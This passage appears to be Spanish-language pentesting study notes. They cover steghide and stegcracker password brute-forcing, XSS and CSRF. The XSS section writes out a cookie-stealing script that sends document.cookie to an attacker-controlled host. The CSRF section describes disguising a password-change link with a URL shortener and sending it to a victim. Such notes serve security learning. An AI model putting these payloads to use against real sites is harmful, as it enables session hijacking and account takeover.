Esteganografia - steganography

Trata el estudio y aplicación de técnicas que permiten ocultar mensajes u objetos, dentro de otros, llamados portadores, de modo que no se perciba su existencia. Es decir, procura ocultar mensajes dentro de otros objetos y de esta forma establecer un canal encubierto de comunicación, de modo que el propio acto de la comunicación pase inadvertido para observadores que tienen acceso a ese canal.

La herramienta que vamos a usar es steghide

Si no está instalada en Kali, ponemos: sudo apt-get install steghide

Para insertar un archivo dentro de una imagen, por ejemplo:

Steghide embed –ef 'ruta del archivo txt' –cf 'ruta de la imagen'

Después nos pedirá una contraseña y listo

Para extraer un archivo oculto:

Steghide extract –sf 'ruta de la imagen'

Nos pedirá la contraseña y una vez que la pongamos ya tendremos nuestro archivo oculto.

Crack contraseñas por fuerza bruta para esteganografia:

Para instalarlo

pip3 install stegcracker

stegcracker

Ejecutarlo:

stegcracker imagen.jpg /usr/share/wordlists/rockyou.txt

Cross Site Scripting - XSS

De hecho, es habitual que, si un sitio web es susceptible de ser atacado por una de estas dos modalidades, también lo sea por la otra.

El atacante malicioso inyecta código sobre algún campo de entrada de datos que ofrezca la página web.

La inyección de código, al igual que en el caso del SQL, consiste en intercalar pequeños programas o comandos en medio del texto que se escribe en ese recuadro, pero ahora no será el servidor web, ni el sistema de gestión de la base de datos quienes ejecutarán ese código, como en el caso del SQL Injection, sino que ahora quien ejecutará ese código es el navegador del usuario víctima.

Para robar la cookie de sesión:

- Montamos un servidor con Python en el puerto 80
- <script>document.write('<img src="http://ip atacante/nombreimagen.jpg?cookie=' + document.cookie + '">')</script>
- Ya hemos conseguido la cookie del usuario logueado.
- Ahora con burp interceptamos en la página de logueo y cambiamos nuestra cookie de sesión por la que acabamos de interceptar.

CSRF - Cross Site Request Forgery

Este ataque fuerza al navegador web de su víctima, validado en algún servicio (como por ejemplo correo o home banking) a enviar una petición a una aplicación web vulnerable.

Esta aplicación se encarga de realizar la acción elegida a través de la víctima, debido que la actividad maliciosa será procesada en nombre del usuario logueado.

Vamos a conseguir que por ejemplo cuando en una página web hay una sección de cambio de contraseña en vez de que la petición vaya por POST, cambiarla a GET y así poder verla en la barra del navegador:

- Interceptamos la petición
- Nos la llevamos al repeater
- Botón derecho y change request method (ya tenemos los datos en Get)

- Copiamos la dirección del get y se la tendríamos que mandar al usuario víctima. Como la petición sería muy obvia, podemos enmascararla con por ejemplo tinyurl
- Una vez que el usuario pinche en el enlace y tendría que estar logueado le hubiéramos cambiado la contraseña.